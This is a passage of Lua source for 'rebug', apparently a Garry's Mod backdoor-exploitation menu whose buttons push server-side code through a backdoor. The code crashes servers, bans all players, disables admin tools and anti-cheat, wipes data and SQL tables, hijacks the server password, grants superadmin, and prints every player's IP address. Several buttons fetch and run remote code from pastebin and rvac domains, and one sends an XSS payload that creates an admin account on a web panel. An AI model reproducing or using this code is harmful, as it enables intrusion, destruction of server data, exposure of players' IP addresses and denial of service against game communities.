1007 surface.PlaySound("buttons/button18.wav")
1008
1009 Derma_StringRequest("Set Custom Text", "Set Text", "", function(str)
1010
1011 noob.PostLua("for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, \""..str.."\") end")
1012
1013 end)
1014
1015end)
1016
1017
1018rebug.AddButton("Broken Glass Symphony", bar1, function()
1019
1020 surface.PlaySound("buttons/button18.wav")
1021
1022 noob.PostLua([[if !timer.Exists("A true masterpiece") then
1023 timer.Create("A true masterpiece", 0.2, 0, function()
1024 for _, p in pairs(player.GetAll()) do
1025 p:EmitSound("physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random(40, 180))
1026 end
1027 end)
1028 else
1029 timer.Remove("A true masterpiece")
1030 end]])
1031
1032end)
1033
1034rebug.AddButton("Double Or Nothing 100%", bar1, function()
1035
1036 surface.PlaySound("buttons/button18.wav")
1037
1038 Derma_StringRequest( "Set win chance", "1-100", "", function(str)
1039
1040 noob.PostLua("BDON_CONFIG.doubleChance = "..str)
1041
1042 end)
1043end)
1044
1045rebug.AddButton("Ban All Players", bar1, function()
1046
1047 surface.PlaySound("buttons/button18.wav")
1048
1049 Derma_StringRequest( "Ban All Players", "Reason", "", function(text)
1050
1051 noob.PostLua([[
1052 local id = ]] .. LocalPlayer():UserID() .. [[
1053 for k, v in next, player.GetAll() do
1054 if v:UserID() == id then continue end
1055 v:Ban( 0, false )
1056 v:Kick( "]] .. tostring(text) .. [[" )
1057 end]])
1058
1059 end)
1060
1061end)
1062
1063rebug.AddButton("Break Economy", bar1, function()
1064
1065 surface.PlaySound("buttons/button18.wav")
1066
1067 noob.PostLua([[for k,v in pairs(player.GetAll()) do v:addMoney(9999999999) end]])
1068
1069end)
1070
1071rebug.AddButton("Cleanup Map", bar1, function()
1072
1073 surface.PlaySound("buttons/button18.wav")
1074
1075 noob.PostLua([[game.CleanUpMap()]])
1076
1077end)
1078
1079rebug.AddButton("Console Jammer", bar1, function()
1080
1081 surface.PlaySound("buttons/button18.wav")
1082
1083 noob.PostLua([[if !(timer.Exists("consoleJammer")) then
1084 timer.Create("consoleJammer", 0.5, 0, function()
1085 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
1086 end)
1087 else
1088 timer.Destroy("consoleJammer")
1089 end]])
1090
1091end)
1092
1093
1094rebug.AddButton("Crash Server", bar1, function()
1095
1096 surface.PlaySound("buttons/button18.wav")
1097
1098 noob.PostLua([[timer.Create("rekt",0.5,1,function() while true do end end)]])
1099
1100 chat.AddText(Color(255,0,0), "[REBUG] ", Color(20,150,200),"The server has been crashed gg")
1101
1102end)
1103
1104rebug.AddButton("Crash Admins & Vip's", bar1, function()
1105
1106 surface.PlaySound("buttons/button18.wav")
1107
1108 noob.PostLua("for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end")
1109
1110end)
1111
1112rebug.AddButton("Change Everyone Name", bar1, function()
1113
1114 surface.PlaySound("buttons/button18.wav")
1115
1116 Derma_StringRequest("Set Everyones Name", "Name", "", function(text)
1117
1118 noob.PostLua([[local str = "]] .. text .. [["
1119 for k, v in next, player.GetAll() do
1120 DarkRP.storeRPName( v, str )
1121 v:setDarkRPVar( "rpname", str )
1122 end]])
1123
1124 end)
1125
1126end)
1127
1128rebug.AddButton("Change Everyone Model", bar1, function()
1129
1130 surface.PlaySound("buttons/button18.wav")
1131
1132 Derma_StringRequest("Change Everyones Model", "Model Directory", "", function(str)
1133
1134 noob.PostLua("for k, v in pairs(player.GetAll()) do v:SetModel(\""..str.."\") end")
1135
1136 end)
1137
1138end)
1139
1140rebug.AddButton("Change Everything Material", bar1, function()
1141
1142 surface.PlaySound("buttons/button18.wav")
1143
1144 Derma_StringRequest("Set Everythings Material", "Material Directory", "", function(str)
1145
1146 noob.PostLua("for k, v in pairs(ents.GetAll()) do v:SetMaterial(\""..str.."\") end")
1147
1148 end)
1149
1150end)
1151
1152rebug.AddButton("Disable Bans/Kicks", bar1, function()
1153
1154 surface.PlaySound("buttons/button18.wav")
1155
1156 noob.PostLua([[if ULib then
1157 function ULib.kick( ply, reason, calling_ply ) end
1158 function ULib.ban( ply, time, reason, admin ) end
1159 function ULib.addBan( steamid, time, reason, name, admin ) end
1160 end
1161 if FAdmin then
1162 local function no(ply) end
1163 FAdmin.Commands.AddCommand("kick", no)
1164 FAdmin.Commands.AddCommand("ban", no)
1165 FAdmin.Commands.AddCommand("jail", no)
1166 FAdmin.Commands.AddCommand("UnJail", no)
1167 FAdmin.Commands.AddCommand("ClearDecals", no)
1168 FAdmin.Commands.AddCommand("StopSounds", no)
1169 FAdmin.Commands.AddCommand("CleanUp", no)
1170 end
1171 local _R = debug.getregistry()
1172 function _R.Player.Ban(ply, r) end
1173 function _R.Player.Kick(ply, r) end
1174 function game.KickID(id, reason) end
1175 local RCM = RunConsoleCommand
1176 function RunConsoleCommand(command, ...)
1177 if command == "addip" then return end
1178 RCM(command, ...)
1179 end]])
1180
1181end)
1182
1183rebug.AddButton("Disable SNTE", bar1, function()
1184
1185 surface.PlaySound("buttons/button18.wav")
1186
1187 noob.PostLua([[
1188 local function Check(func)
1189 if string.find(debug.getinfo(func).short_src,"snte_source.lua") then
1190 return true
1191 else
1192 return false
1193 end
1194 end
1195 timer.Create("rvacbypass",5,0,function()
1196 for k,v in pairs(net.Receivers) do
1197 if Check(v) then
1198 net.Receive(k,function(l,ply)
1199 ply:ChatPrint("LEL")
1200 end)
1201 end
1202 end
1203 end)]])
1204
1205end)
1206
1207rebug.AddButton("Disable Exit", bar1, function()
1208
1209 surface.PlaySound("buttons/button18.wav")
1210
1211 noob.PostLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
1212
1213end)
1214
1215rebug.AddButton("Delete Server", bar1, function()
1216
1217 surface.PlaySound("buttons/button18.wav")
1218
1219 noob.PostLua([[local function WipeDir(dir)
1220 local files,dirs = file.Find(dir.."*", "DATA")
1221 for k,v in ipairs(files) do
1222 file.Delete(dir..v)
1223 end
1224 for k,v in ipairs(dirs) do
1225 WipeDir(v.."/")
1226 end
1227 end
1228 print(60*60*6)
1229 local function wiperpro()
1230 print("Wiping server data. . .")
1231 WipeDir("")
1232 sql.Query("DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)")
1233 if ULib then
1234 for k,v in pairs(ULib.ucl.groups) do
1235 if k != "user" then
1236 ULib.ucl.removeGroup(k)
1237 end
1238 end
1239 end
1240 if FPP then
1241 for k,v in pairs(FPP.Blocked) do
1242 for r,g in pairs(v) do
1243 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1244 end
1245 end
1246 end
1247 for i=1,256 do
1248 RunConsoleCommand("removeid",i)
1249 end
1250 for k,v in ipairs(player.GetAll()) do
1251 v:Kick("rvac.Team")
1252 end
1253 print("Wipe finished !")
1254 end
1255 timer.Create("1Tap",0.5,1,function() while true do end end)
1256 wiperpro()]])
1257
1258end)
1259
1260
1261rebug.AddButton("Earthquake", bar1, function()
1262
1263 surface.PlaySound("buttons/button18.wav")
1264
1265 noob.PostLua([[if !timer.Exists("earthquake") then
1266 timer.Create("earthquake", 0.5, 500, function()
1267 for _, p in pairs(player.GetAll()) do
1268 p:SetPos(p:GetPos() + Vector(0, 0, 1))
1269 p:SetVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150)))
1270 util.ScreenShake(p:GetPos(), 20, 1, 1, 100)
1271 p:EmitSound("ambient/explosions/exp1.wav", 100, math.random(60, 100))
1272 end
1273 for _, e in pairs(ents.GetAll()) do
1274 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150))) end
1275 end
1276 end)
1277 else
1278 timer.Remove("earthquake")
1279 end]])
1280
1281end)
1282
1283rebug.AddButton("EarRape", bar1, function()
1284
1285 surface.PlaySound("buttons/button18.wav")
1286
1287 noob.PostLua("for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end")
1288
1289end)
1290
1291rebug.AddButton("Force Dance All", bar1, function()
1292
1293 surface.PlaySound("buttons/button18.wav")
1294
1295 noob.PostLua([[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )]])
1296
1297end)
1298
1299rebug.AddButton("Ignite Everyone", bar1, function()
1300
1301 surface.PlaySound("buttons/button18.wav")
1302
1303 Derma_StringRequest("Ignite All Players", "Lenght In Seconds", "", function(str)
1304
1305 noob.PostLua("for k, v in pairs(player.GetAll()) do v:Ignite(".. str ..") end")
1306
1307 end)
1308
1309end)
1310
1311rebug.AddButton("Kill Everyone", bar1, function()
1312
1313 surface.PlaySound("buttons/button18.wav")
1314
1315 noob.PostLua("for k,v in pairs(player.GetAll()) do v:Kill() end")
1316
1317end)
1318
1319rebug.AddButton("Luarun Access", bar1, function()
1320
1321 surface.PlaySound("buttons/button18.wav")
1322
1323 noob.PostLua([[RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun")]])
1324
1325end)
1326
1327rebug.AddButton("Launch Players", bar1, function()
1328
1329 surface.PlaySound("buttons/button18.wav")
1330
1331 noob.PostLua("for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end")
1332
1333end)
1334
1335rebug.AddButton("LuaRun Code", bar1, function()
1336
1337 surface.PlaySound("buttons/button18.wav")
1338
1339 Derma_StringRequest( "LuaRun String", "String", "", function(text)
1340
1341 noob.PostLua([[RunString( ']] .. text .. [[' )]])
1342
1343 end)
1344
1345end)
1346
1347rebug.AddButton("Rainbow Physgun", bar1, function()
1348
1349 surface.PlaySound("buttons/button18.wav")
1350
1351 noob.PostLua([[hook.Add("Think", "rainbowphysgun", function()
1352 for k,ply in ipairs(player.GetAll()) do
1353 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
1354 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
1355 end
1356 end)]])
1357
1358end)
1359
1360rebug.AddButton("Rainbow Chat Spam", bar1, function()
1361
1362 surface.PlaySound("buttons/button18.wav")
1363
1364 Derma_StringRequest("Rainbow Chatspam", "Text", "", function(text)
1365
1366 noob.PostLua([[
1367 chat = {}
1368 function chat.AddText(...)
1369 net.Start("rvac")
1370 net.WriteTable({...})
1371 net.Broadcast()
1372 end
1373 function AddTextPly(ply, ...)
1374 net.Start("rvac")
1375 net.WriteTable({...})
1376 net.Send(ply)
1377 end
1378 for k, v in pairs(player.GetAll()) do
1379 v:SendLua('net.Receive("rvac", function(len) chat.AddText(unpack(net.ReadTable()))end)')
1380 end
1381 timer.Create("gotEm", 0.8, 120, function()
1382 local function ChatPrintRainbow(frequency, str)
1383 local text = {}
1384 for i = 1, #str do
1385 table.insert(text, HSVToColor(i * frequency % 360, 1, 1))
1386 table.insert(text, string.sub(str, i, i))
1387 end
1388 chat.AddText(unpack(text))
1389 end
1390 ChatPrintRainbow(10, "]] .. text .. [[")
1391 end)]])
1392
1393 end)
1394
1395end)
1396
1397rebug.AddButton("Rainbow HUD", bar1, function()
1398
1399 surface.PlaySound("buttons/button18.wav")
1400
1401 noob.PostLua([[if !rainbowscreen then
1402 BroadcastLua("hook.Add('HUDPaint', 'rainbowscreen', function() local cin = math.sin(CurTime() * 10) * 255 surface.SetDrawColor(Color(cin, -cin, cin, 100)) surface.DrawRect(0, 0, ScrW(), ScrH()) end)")
1403 rainbowscreen = true
1404 else
1405 BroadcastLua("hook.Remove('HUDPaint', 'rainbowscreen')")
1406 rainbowscreen = false
1407 end]])
1408
1409end)
1410
1411rebug.AddButton("Rainbow Buildings/Floor", bar1, function()
1412
1413 surface.PlaySound("buttons/button18.wav")
1414
1415 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/gCG1pSNK',function(b,l,h,c)RunString(b)end,nil)")]])
1416
1417 chat.AddText(Color(255,0,0), "[REBUG] ", Color(255,155,155),"This may cause frame drop")
1418
1419end)
1420
1421rebug.AddButton("Remove Bans", bar1, function()
1422
1423 surface.PlaySound("buttons/button18.wav")
1424
1425 noob.PostLua([[if file.Exists("ulib/bans.txt", "DATA") then file.Delete("ulib/bans.txt") end]])
1426
1427end)
1428
1429rebug.AddButton("Rave Music", bar1, function()
1430
1431 surface.PlaySound("buttons/button18.wav")
1432
1433 noob.PostLua("BroadcastLua([[surface.PlaySound('music/hl1_song25_remix3.mp3')]])")
1434
1435end)
1436
1437rebug.AddButton("Reset all money", bar1, function()
1438
1439 surface.PlaySound("buttons/button18.wav")
1440
1441 noob.PostLua([[RunConsoleCommand("rp_resetallmoney")]])
1442
1443end)
1444
1445rebug.AddButton("RCON Command", bar1, function()
1446
1447 surface.PlaySound("buttons/button18.wav")
1448
1449 Derma_StringRequest("RCON Command", "Rcon", "", function(str)
1450
1451 noob.PostRcon(str)
1452
1453 end)
1454
1455end)
1456
1457rebug.AddButton("Server Nuke (M9K)", bar1, function()
1458
1459 surface.PlaySound("buttons/button18.wav")
1460
1461 noob.PostLua([[
1462 local rocket = ents.Create("m9k_launched_davycrockett")
1463 local ply2 = player.GetAll(]]..selPly..[[)
1464
1465 rocket:SetPos(ply2:GetPos())
1466 rocket:SetOwner(ply2)
1467 rocket.Owner = ply2
1468 rocket:Spawn()
1469 rocket:Activate()]])
1470
1471end)
1472
1473rebug.AddButton("Seize Server", bar1, function()
1474
1475 surface.PlaySound("buttons/button18.wav")
1476
1477 chat.AddText(Color(255,0,0), "[REBUG] ", Color(20,150,200),"Server Password is: GmodCheaTz")
1478
1479 noob.PostLua([[RunConsoleCommand("sv_password", "GmodCheaTz")
1480 RunConsoleCommand("hostname", "SEIZED BY rvac.TEAM")]])
1481
1482end)
1483
1484rebug.AddButton("Moan Steps", bar1, function()
1485
1486 surface.PlaySound("buttons/button18.wav")
1487
1488 noob.PostLua([[if !moanstep then
1489 hook.Add("PlayerFootstep", "oooh", function(ply)
1490 ply:EmitSound("vo/npc/female01/pain0" .. math.random(1, 9) .. ".wav", 75, math.random(50, 100))
1491 end)
1492 moanstep = true
1493 else
1494 hook.Remove("PlayerFootstep", "oooh")
1495 moanstep = false
1496 end]])
1497
1498end)
1499
1500rebug.AddButton("Open URL On Players", bar1, function()
1501
1502 surface.PlaySound("buttons/button18.wav")
1503
1504 Derma_StringRequest("URL On Players", "URL Link", "", function(str)
1505
1506 noob.PostLua([==[local ply = str
1507 ply:SendLua([[h=vgui.Create("DHTML")
1508 h:SetSize(ScrW(),ScrH())
1509 h:OpenURL(..str..)]])
1510 ]==])
1511
1512 end)
1513
1514end)
1515
1516rebug.AddButton("Explode all vehicles", bar1, function()
1517
1518 surface.PlaySound("buttons/button18.wav")
1519
1520 noob.PostLua([[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
1521 local explo = ents.Create("env_explosion")
1522 explo:SetPos(v:GetPos())
1523 explo:SetKeyValue("iMagnitude", "300")
1524 explo:Spawn()
1525 explo:Activate()
1526 explo:Fire("Explode", "", 0)
1527 end
1528 end]])
1529
1530end)
1531
1532rebug.AddButton("Print All IP's", bar1, function()
1533
1534 surface.PlaySound("buttons/button18.wav")
1535
1536 noob.PostLua([[
1537 local id = ]] .. LocalPlayer():UserID() .. [[
1538 for k, v in pairs( player.GetAll() ) do
1539 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
1540 end]])
1541
1542end)
1543
1544rebug.AddButton("Toggle all doors", bar1, function()
1545
1546 surface.PlaySound("buttons/button18.wav")
1547
1548 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
1549
1550end)
1551
1552rebug.AddButton("Lock all doors", bar1, function()
1553
1554 surface.PlaySound("buttons/button18.wav")
1555
1556 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("lock", "", 0) end end]])
1557
1558end)
1559
1560rebug.AddButton("Unlock all doors", bar1, function()
1561
1562 surface.PlaySound("buttons/button18.wav")
1563
1564 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
1565
1566end)
1567
1568rebug.AddButton("Vaporize all players", bar1, function()
1569
1570 surface.PlaySound("buttons/button18.wav")
1571
1572 noob.PostLua([[for k, v in pairs(player.GetAll()) do v:Remove() end]])
1573
1574end)
1575
1576rebug.AddButton("FPP Unrestrict everything", bar1, function()
1577
1578 surface.PlaySound("buttons/button18.wav")
1579
1580 noob.PostLua([[if FPP then
1581 for k,v in pairs(FPP.Blocked) do
1582 for r,g in pairs(v) do
1583 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1584 end
1585 end
1586 end]])
1587
1588end)
1589
1590rebug.AddButton("Wipe data folder", bar1, function()
1591
1592 surface.PlaySound("buttons/button18.wav")
1593
1594 noob.PostLua([[local files, directories = file.Find("*", "DATA") for k, v in pairs(files) do file.Delete(v) end]])
1595
1596end)
1597
1598rebug.AddButton("Wipe SQL Tables", bar1, function()
1599
1600 surface.PlaySound("buttons/button18.wav")
1601
1602 noob.PostLua([[MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')]])
1603
1604end)
1605
1606rebug.AddButton("Play Sound From URL", bar1, function()
1607
1608 surface.PlaySound("buttons/button18.wav")
1609
1610 Derma_StringRequest("Play Sound", "Set Link (Has to end with .AUDIOFORMAT)", "", function(str)
1611
1612 noob.PostLua("BroadcastLua([[sound.PlayURL(\"".. str .."\" , \"mono\", function() end)]])")
1613
1614 end)
1615
1616end)
1617
1618rebug.AddButton("Luarun From Pastebin", bar1, function()
1619
1620 surface.PlaySound("buttons/button18.wav")
1621
1622 Derma_StringRequest("RunLua", "Place Pastebin link inside box", "", function(str)
1623
1624 noob.PostLua("http.Fetch(\""..str.."\", function( b, l, h, c ) RunString( b ) end, function() end )")
1625
1626 end)
1627
1628end)
1629
1630rebug.AddButton("Luarun From Pastebin", bar1, function()
1631
1632 surface.PlaySound("buttons/button18.wav")
1633
1634 noob.PostLua("http.Fetch(\""..str.."\", function( b, l, h, c ) RunString( b ) end, function() end )")
1635
1636end)
1637
1638rebug.AddButton("ULX Unban SteamID", bar1, function()
1639
1640 surface.PlaySound("buttons/button18.wav")
1641
1642 Derma_StringRequest("ULX Unban SteamID", "SteamID", "", function(str)
1643
1644 noob.PostLua([[local gae = ulx_logecho game.ConsoleCommand("ulx_logecho 0" .. "\n") game.ConsoleCommand("ulx unban " ..str.. "\n") game.ConsoleCommand("ulx_logecho " .. gae .. "\n")]])
1645
1646 end)
1647
1648end)
1649
1650// Targeting Backdoors
1651
1652rebug.AddButton("Co Host Menu", bar2, function()
1653
1654 surface.PlaySound("buttons/button18.wav")
1655
1656 noob.PostLua([[Player(]]..selPly..[[):SendLua('http.Fetch("https://rvac.ml/load/ui.lua",function(b) RunString(b)end)')]])
1657
1658end)
1659
1660rebug.AddButton("Set Superadmin", bar2, function()
1661
1662 surface.PlaySound("buttons/button18.wav")
1663
1664 noob.PostLua([[Player(]]..selPly..[[):SetUserGroup("superadmin")]])
1665
1666end)
1667
1668rebug.AddButton("Remove User", bar2, function()
1669
1670 surface.PlaySound("buttons/button18.wav")
1671
1672 noob.PostLua([[Player(]]..selPly..[[):SetUserGroup("user"))]])
1673
1674end)
1675
1676rebug.AddButton("Remove Props", bar2, function()
1677
1678 surface.PlaySound("buttons/button18.wav")
1679
1680 noob.PostLua([[game.CleanUpMap(]]..selPly..[[)]])
1681
1682end)
1683
1684rebug.AddButton("Enable Godmode", bar2, function()
1685
1686 surface.PlaySound("buttons/button18.wav")
1687
1688 noob.PostLua([[Player(]]..selPly..[[):GodEnable()]])
1689
1690end)
1691
1692rebug.AddButton("Disable Godmode", bar2, function()
1693
1694 surface.PlaySound("buttons/button18.wav")
1695
1696 noob.PostLua([[Player(]]..selPly..[[):GodDisable()]])
1697
1698end)
1699
1700// Extras Page
1701
1702rebug.AddButton("Scan Backdoors", bar4, function()
1703
1704 surface.PlaySound("buttons/button18.wav")
1705
1706 CheckBackdoors()
1707
1708
1709end)
1710
1711rebug.AddButton("GBackdoor Exploit", bar4, function()
1712
1713 surface.PlaySound("buttons/button18.wav")
1714
1715 Derma_StringRequest("GBacdoor Exploit", "LINK/core/stage2.php", "", function(str)
1716
1717 timer.Create('13134657', 5, 0, function()
1718
1719 http.Post(""..str,{nb = 27,i = math.random(1,99999)..'.'..math.random(1,99999)..'.'..math.random(1,99999),
1720
1721 n = math.random(1,99999)..':'..math.random(1,99999)..[[<script>$.ajax({url: 'core/ajax/add-user.php?username=support&password=support&cpassword=support'});</script>]]
1722
1723 })end)
1724
1725
1726 end)
1727
1728end)
1729
1730rebug.AddButton("CodeFodder Exploit", bar4, function()
1731
1732 surface.PlaySound("buttons/button18.wav")
1733
1734 Derma_StringRequest("CodeFodder Exploit", "Download ID", "", function(str)
1735
1736 timer.Create("omgstopit",0.1,0, function()
1737
1738 http.Fetch("https://api.codefodder.store/download/"..str)
1739
1740 end )
1741
1742 end)
1743
1744end)
1745
1746rebug.AddButton("Rainbow physgun", bar4, function()
1747
1748 surface.PlaySound("buttons/button18.wav")
1749
1750 hook.Add("Think", "rainbowphysgun", function()
1751
1752 for k,ply in ipairs(player.GetAll()) do
1753
1754 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
1755
1756 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
1757
1758 end
1759
1760 end)
1761
1762end)
1763
1764rebug.AddButton("Bunny Hop", bar4, function()
1765
1766 surface.PlaySound("buttons/button18.wav")
1767
1768
1769 if hook.GetTable()["VOIDZZ"] then
1770
1771 hook.Remove("VOIDZZ")
1772
1773end
1774
1775local function ch_bunnyhop(ply)
1776
1777 if(ply:KeyDown(IN_JUMP) && !LocalPlayer():IsOnGround()) then
1778
1779 ply:RemoveKey(IN_JUMP);
1780
1781 if !LocalPlayer():IsFlagSet(FL_ONGROUND) and LocalPlayer():GetMoveType() != MOVETYPE_NOCLIP then
1782
1783 if(ply:GetMouseX() > 1 || ply:GetMouseX() < -1) then
1784
1785 ply:SetSideMove(ply:GetMouseX() > 1 && 400 || -400);
1786
1787 else
1788
1789 ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D());
1790
1791 ply:SetSideMove((ply:CommandNumber() % 2 == 0) && -400 || 400);
1792
1793 end
1794
1795 end
1796
1797 elseif(ply:KeyDown(IN_JUMP)) then
1798
1799 ply:SetForwardMove(10000)
1800
1801 end
1802
1803end
1804
1805hook.Add("CreateMove", "VOIDZZ", function(ply)
1806
1807 ch_bunnyhop(ply);
1808
1809 end);
1810
1811end)
1812
1813rebug.AddButton("Enigma Disco", bar4, function()
1814
1815 surface.PlaySound("buttons/button18.wav")
1816
1817 noob.PostLua([[http.Fetch("https://rvac.cc/load/b1g.lua", function(b) RunString(b) end )]])
1818
1819end)
1820
1821rebug.AddButton("Enigma Disco 2.0", bar4, function()
1822
1823 surface.PlaySound("buttons/button18.wav")
1824
1825 noob.PostLua([[http.Fetch("https://rvac.cc/load/xd.lua", function(b) RunString(b) end )]])
1826
1827end)
1828
1829rebug.AddButton("Corruption Disco", bar4, function()
1830
1831 surface.PlaySound("buttons/button18.wav")
1832
1833 noob.PostLua([[http.Fetch("https://pastebin.com/raw/617S3m9V",function(b,l,h,c)RunString(b)end,nil)]])
1834
1835end)
1836
1837
1838rebug.AddButton("Hell Mode", bar4, function()
1839
1840 surface.PlaySound("buttons/button18.wav")
1841
1842 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/21tkfuM1',function(b,l,h,c)RunString(b)end,nil)")]])
1843
1844end)
1845
1846rebug.AddButton("Music Earth", bar4, function()
1847
1848 surface.PlaySound("buttons/button18.wav")
1849
1850 noob.PostLua([[http.Fetch('https://pastebin.com/raw/u67AK6SX',function(b,l,h,c)RunString(b)end,nil)]])
1851
1852end)
1853
1854rebug.AddButton("Music DajaVu", bar4, function()
1855
1856 surface.PlaySound("buttons/button18.wav")
1857
1858 noob.PostLua([[http.Fetch('https://pastebin.com/raw/iNBkxFiZ',function(b,l,h,c)RunString(b)end,nil)]])
1859
1860end)
1861
1862rebug.AddButton("Music Break Bot", bar4, function()
1863
1864 surface.PlaySound("buttons/button18.wav")
1865
1866 noob.PostLua([[http.Fetch('https://pastebin.com/raw/rxMQUFMa',function(b,l,h,c)RunString(b)end,nil)]])
1867
1868end)
1869
1870
1871
1872//Menu Close
1873
1874function CloseMenu()
1875
1876 MenuOpen = false
1877
1878 BDMenu:Close()
1879
1880 end
1881
1882end
1883
1884rebug.voidz(true) // <CodeVoid>